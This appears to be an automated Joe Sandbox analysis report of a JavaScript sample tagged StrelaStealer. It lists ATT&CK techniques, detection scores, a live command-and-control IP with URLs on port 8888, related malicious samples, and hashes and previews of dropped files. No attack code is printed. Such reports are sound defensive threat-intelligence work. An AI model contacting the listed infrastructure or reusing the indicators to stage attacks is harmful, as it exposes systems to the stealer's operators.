Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
21092429235262508.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
21092429235262508.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/W	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/K	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3348470752.0000015C91400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2111973005.0000015C91610000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/K	net.exe, 00000007.00000002.2111121789.000001E0BF46C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/W	net.exe, 00000007.00000002.2111121789.000001E0BF46C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2111121789.000001E0BF46C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.2111121789.000001E0BF440000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588316
Start date and time:	2025-01-10 23:54:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	21092429235262508.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:55:17	API Interceptor	21x Sleep call for process: powershell.exe modified
17:55:21	API Interceptor	1x Sleep call for process: net.exe modified
17:55:21	API Interceptor	2x Sleep call for process: svchost.exe modified
17:55:34	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307272713302137
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugg:gJjJGtpTq2yv1AuNZRY3diu8iBVqFa
MD5:	CE4F570B5EBDB8A9009CCC13BBACECEB
SHA1:	D1256881354E7DA6D15BCE0D662084C4D34DF1FF
SHA-256:	A5DA69F3B029C6632D3D4A053EC94BB33E6972513D226CCA47DAE9CADA559B75
SHA-512:	BAAF4E75C8316BA20E4D908BCBEBA31A576F003CDC7F7D4F542A689C415B2257423E909E161776698B49BDD7476A382C209D6EC2B1B6057715F1ACA32DFEC512
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbb4e0831, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585765780330887
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	C29CDE8395D586282B6A44C519E22C2C
SHA1:	0CB0BD1620D7E639E98062ED2E7C67D8E927E4D6
SHA-256:	A7E1E91D16223F21AE7119870EC6B94384F09F8CD768D600B921A8A408408E86
SHA-512:	23D4323CDE8C3483106861FB8DF5FC423EC56C3F8E5A4409D71E582167547C31A585AC90DBE3314803BB3696140C1460D9FA4863DF21C38115660F25673B99D8
Malicious:	false
Preview:	.N.1... ...............X\...;...{......................0.z..........{...7...}{.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................._D.7...}{..................V...7...}{..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08033531673055964
Encrypted:	false
SSDEEP:	3:6n8YeHKkzzrbGuAJkhvekl1P4HlllallrekGltll/SPj:6n8zHL7rxlCFlAJe3l
MD5:	B6FF2838A3E119D8D172A49B04BCAA56
SHA1:	4BC54F29AE9613F424952772BE3D3B007D440310
SHA-256:	5B8D7C89400C9AFD2DBBCBEEB55D0F3669B6036CCD2378D3BD792D3097E1C9DC
SHA-512:	3E0BC15D3181A1518C196E40B65023717CA6337B9373AF465CEA0C89A4053C8D752BBD6D2EA75580A94081E6BFE876C35AB6C6B8DDCA0865CD5CEAB7E93764E5
Malicious:	false
Preview:	f..H.....................................;...{...7...}{......{...............{.......{...XL......{...................V...7...}{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.214456647172965
Encrypted:	false
SSDEEP:	6:iO4Byq2P92nKuAl9OmbnIFUtSfN11ZmwscpRkwO92nKuAl9OmbjLJ:7Syv4HAahFUtUX/VpR5LHAaSJ
MD5:	1A1A8F549A6EFFF0F1ED6AA605825B72
SHA1:	61A6B171D4F3860A945C82722E6E15F8FBD94695
SHA-256:	DA3183CE44F68388CE3EBD9B573FCAC5543043970DE0CE44A55601AEF08C03E3
SHA-512:	535F0208B38EB690F63ECACD2B3E68A9690EDC08ABCA2A2480BB3777AF8D3B0D2DEEB7EA9A30BB6662AFDA6E818F7948B5CA424206D01BD16547CFDCFB710C65
Malicious:	false
Preview:	2025/01/10-17:55:21.338 1b94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:55:21.341 1b94 Recovering log #3.2025/01/10-17:55:21.342 1b94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.214456647172965
Encrypted:	false
SSDEEP:	6:iO4Byq2P92nKuAl9OmbnIFUtSfN11ZmwscpRkwO92nKuAl9OmbjLJ:7Syv4HAahFUtUX/VpR5LHAaSJ
MD5:	1A1A8F549A6EFFF0F1ED6AA605825B72
SHA1:	61A6B171D4F3860A945C82722E6E15F8FBD94695
SHA-256:	DA3183CE44F68388CE3EBD9B573FCAC5543043970DE0CE44A55601AEF08C03E3
SHA-512:	535F0208B38EB690F63ECACD2B3E68A9690EDC08ABCA2A2480BB3777AF8D3B0D2DEEB7EA9A30BB6662AFDA6E818F7948B5CA424206D01BD16547CFDCFB710C65
Malicious:	false
Preview:	2025/01/10-17:55:21.338 1b94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:55:21.341 1b94 Recovering log #3.2025/01/10-17:55:21.342 1b94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148573759524395
Encrypted:	false
SSDEEP:	6:iO4jqM+q2P92nKuAl9Ombzo2jMGIFUtSBZmwsUMVkwO92nKuAl9Ombzo2jMmLJ:7I+v4HAa8uFUtg/GV5LHAa8RJ
MD5:	E4DF111BDEBFCA6B4BEBFFC5EFF19043
SHA1:	B40EB70DBEEEBCD1218CE92D9940A7B4F59A1E7D
SHA-256:	558A2BC6C8426A56657753E27C7DDCB5DE345BF5401438818C39800D7DE89463
SHA-512:	9A9372392DBF07D65CBEDF21F0899954564AD29CE024599DF6902E004CF1DF9033F876B9B171D4BC6E542B816DE0BCB936EE9DF55D630613E28B093DE6E0B03C
Malicious:	false
Preview:	2025/01/10-17:55:21.470 16ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:55:21.472 16ac Recovering log #3.2025/01/10-17:55:21.472 16ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148573759524395
Encrypted:	false
SSDEEP:	6:iO4jqM+q2P92nKuAl9Ombzo2jMGIFUtSBZmwsUMVkwO92nKuAl9Ombzo2jMmLJ:7I+v4HAa8uFUtg/GV5LHAa8RJ
MD5:	E4DF111BDEBFCA6B4BEBFFC5EFF19043
SHA1:	B40EB70DBEEEBCD1218CE92D9940A7B4F59A1E7D
SHA-256:	558A2BC6C8426A56657753E27C7DDCB5DE345BF5401438818C39800D7DE89463
SHA-512:	9A9372392DBF07D65CBEDF21F0899954564AD29CE024599DF6902E004CF1DF9033F876B9B171D4BC6E542B816DE0BCB936EE9DF55D630613E28B093DE6E0B03C
Malicious:	false
Preview:	2025/01/10-17:55:21.470 16ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:55:21.472 16ac Recovering log #3.2025/01/10-17:55:21.472 16ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\40b82bf0-83ca-45ab-9829-b95c1e68754d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.057665851442398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqbuhsBdOg2Hwcaq3QYiubxnP7E4T3OF+:Y2sRdsYuydMH73QYhbxP7nbI+
MD5:	BCC8D22D5FE77BFD689CB1FD2BE9B134
SHA1:	A0E939363DD19CF408F14092258B3F4F6742CE3F
SHA-256:	A9F1898D05EDAE168CF7BAC82A642EDFE743F533FDD4F0572522F6020BA85BD0
SHA-512:	1159C680020249491D80FD7B1335FC01071EB2CF12070CEF37059EAA311C70D1572FF37752171A96DB9B2F8D9B8DA30420D78C8644F4B196FA21B19D9206101E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109733875896","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153054},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.057665851442398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqbuhsBdOg2Hwcaq3QYiubxnP7E4T3OF+:Y2sRdsYuydMH73QYhbxP7nbI+
MD5:	BCC8D22D5FE77BFD689CB1FD2BE9B134
SHA1:	A0E939363DD19CF408F14092258B3F4F6742CE3F
SHA-256:	A9F1898D05EDAE168CF7BAC82A642EDFE743F533FDD4F0572522F6020BA85BD0
SHA-512:	1159C680020249491D80FD7B1335FC01071EB2CF12070CEF37059EAA311C70D1572FF37752171A96DB9B2F8D9B8DA30420D78C8644F4B196FA21B19D9206101E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109733875896","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153054},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2365907991252
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUQKkN6f:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLs
MD5:	7E4187FA0A6E7DA4B7A659A7CA38C148
SHA1:	5F7E8578242B4DADA512C909179AA54B282D496F
SHA-256:	F07D417A3C8AEEB68B0FA35D7CE3F4F126E7A0586935EE3984F4B0096F4E4E32
SHA-512:	829D4579BF77E0F4C0FE7815C1DE05A929DDCD308725BC049F3E59506AD11D8D4ED5C940ED47D790A1C2FFA35A34937C3A710B69E7D4E0AD19B46A14D61EA285
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1481131985612665
Encrypted:	false
SSDEEP:	6:iO4zUTdMM+q2P92nKuAl9OmbzNMxIFUtS5YZmws9iMVkwO92nKuAl9OmbzNMFLJ:7cKN+v4HAa8jFUtf/CvV5LHAa84J
MD5:	04E86E3426BD1013F1472AF5E1030D36
SHA1:	746AFA5BD90D034B11BC0EA132AADF88D10C8681
SHA-256:	3DA0BD52712473E03596BB276FDFB0C0177CC0E1831712F206F90A37988323F1
SHA-512:	A43DC1D56A5A6AAD611FB11587F6A62E3079B4D36D48951D4A050B0EF2FD6680900457B5ED7313EE5372AE972060A9441F436E044B0FC319BF6F63D9AE189529
Malicious:	false
Preview:	2025/01/10-17:55:21.529 16ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:55:21.532 16ac Recovering log #3.2025/01/10-17:55:21.533 16ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1481131985612665
Encrypted:	false
SSDEEP:	6:iO4zUTdMM+q2P92nKuAl9OmbzNMxIFUtS5YZmws9iMVkwO92nKuAl9OmbzNMFLJ:7cKN+v4HAa8jFUtf/CvV5LHAa84J
MD5:	04E86E3426BD1013F1472AF5E1030D36
SHA1:	746AFA5BD90D034B11BC0EA132AADF88D10C8681
SHA-256:	3DA0BD52712473E03596BB276FDFB0C0177CC0E1831712F206F90A37988323F1
SHA-512:	A43DC1D56A5A6AAD611FB11587F6A62E3079B4D36D48951D4A050B0EF2FD6680900457B5ED7313EE5372AE972060A9441F436E044B0FC319BF6F63D9AE189529
Malicious:	false
Preview:	2025/01/10-17:55:21.529 16ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:55:21.532 16ac Recovering log #3.2025/01/10-17:55:21.533 16ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
